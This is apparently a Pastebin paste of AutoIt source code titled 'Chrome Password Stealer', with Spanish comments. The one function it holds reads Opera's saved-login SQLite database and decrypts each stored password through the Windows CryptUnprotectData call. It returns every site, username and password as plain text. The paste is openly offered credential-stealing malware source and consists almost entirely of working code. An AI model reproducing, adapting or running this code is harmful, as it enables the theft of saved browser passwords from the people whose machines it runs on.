Advertisement
FlyFar

Chrome Password Stealer - Source Code

Jun 10th, 2023
3,231
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
AutoIt 2.54 KB | Cybersecurity | 0 0
  1. #cs ----------------------------------------------------------------------------
  2.  
  3.  AutoIt Version: 3.3.8.1
  4.  Author: Naker90 - 03/06/2015
  5.  
  6.  Script Function:
  7.     Recupera las contraseñas guardadas en el navegador Chrome y Opera.
  8.  
  9.  Testeado en Windows 7 x64 con la ultima version de Opera.
  10.  
  11.  Ejemplo de retorno:
  12.     Web: http://www.web.com
  13.     User: Usuario
  14.     Pass: Password
  15.  
  16. ATENCIÓN
  17.     Necesaria la libreria SQLite3.dll
  18.  
  19.  Saludos ;)
  20.  
  21. #ce ----------------------------------------------------------------------------
  22.  
  23.  #include <SQLite.au3>
  24.  #include <String.au3>
  25.  
  26. Func OperaPasswordRecovery()
  27.  
  28.     Const $OS = @OSVersion
  29.  
  30.     Local $Keypath
  31.     If $OS = 'WIN_XP' then
  32.         $Keypath = 'C:\Documents and Settings\' & @UserName & '\Application Data\Opera\Opera\Login Data'
  33.     Else
  34.         $Keypath = 'C:\Users\' & @UserName & '\AppData\Roaming\Opera Software\Opera Stable\Login Data'
  35.     EndIf
  36.  
  37.     _SQLite_Startup(@ScriptDir & '\sqlite3.dll')
  38.     _SQLite_Open($Keypath, $SQLITE_OPEN_READWRITE)
  39.  
  40.     Local $Result, $Rows, $Columns
  41.     Local $GetTables = _SQLite_GetTable(-1, 'select origin_url, username_value, password_value from logins;', $Result, $Rows, $Columns)
  42.  
  43.     If $Rows <> 0 then
  44.  
  45.         Local $Return
  46.         For $i = 4 to UBound($Result) - 1
  47.  
  48.             Local $URL = $Result[$i]
  49.             Local $User = $Result[$i + 1]
  50.             Local $Pass = $Result[$i + 2]
  51.  
  52.             Local $PassSize = BinaryLen($Pass)
  53.  
  54.             Local $DataStruct = DllStructCreate('byte[' & $PassSize & ']')
  55.             DllStructSetData($DataStruct, 1, $Pass)
  56.  
  57.             Local $DataInBolbStruct = DllStructCreate('dword cbData;ptr pbData')
  58.             DllStructSetData($DataInBolbStruct, 1, $PassSize)
  59.             DllStructSetData($DataInBolbStruct, 2, DllStructGetPtr($DataStruct))
  60.  
  61.             Local $DataOutBolbStruct = DllStructCreate('dword cbData;ptr pbData')
  62.  
  63.             Local $DllOpen = DllOpen('Crypt32.dll')
  64.             Local $CryptUnprotectData = DllCall($DllOpen, 'bool', 'CryptUnprotectData', _
  65.                                                 'struct*', $DataInBolbStruct, _
  66.                                                 'ptr*', 0, _
  67.                                                 'ptr', 0, _
  68.                                                 'ptr', 0, _
  69.                                                 'ptr', 0, _
  70.                                                 'dword', 0, _
  71.                                                 'struct*', $DataOutBolbStruct)
  72.  
  73.             If $CryptUnprotectData[0] = 0 then Return 0
  74.  
  75.             Local $PasswordStruct = DllStructCreate('byte[' & DllStructGetData($DataOutBolbStruct, 1) & ']', DllStructGetData($DataOutBolbStruct, 2))
  76.             Local $Password = _HexToString(StringTrimLeft(DllStructGetData($PasswordStruct, 1), 2))
  77.  
  78.             $Return &= 'Web: ' & $URL & @CRLF & 'User: ' & $User & @CRLF & 'Pass: ' & $Password & @CRLF & @CRLF
  79.  
  80.             $i += 2
  81.  
  82.         Next
  83.  
  84.         Return $Return
  85.  
  86.     Else
  87.  
  88.         Return 0
  89.  
  90.     EndIf
  91.  
  92. EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement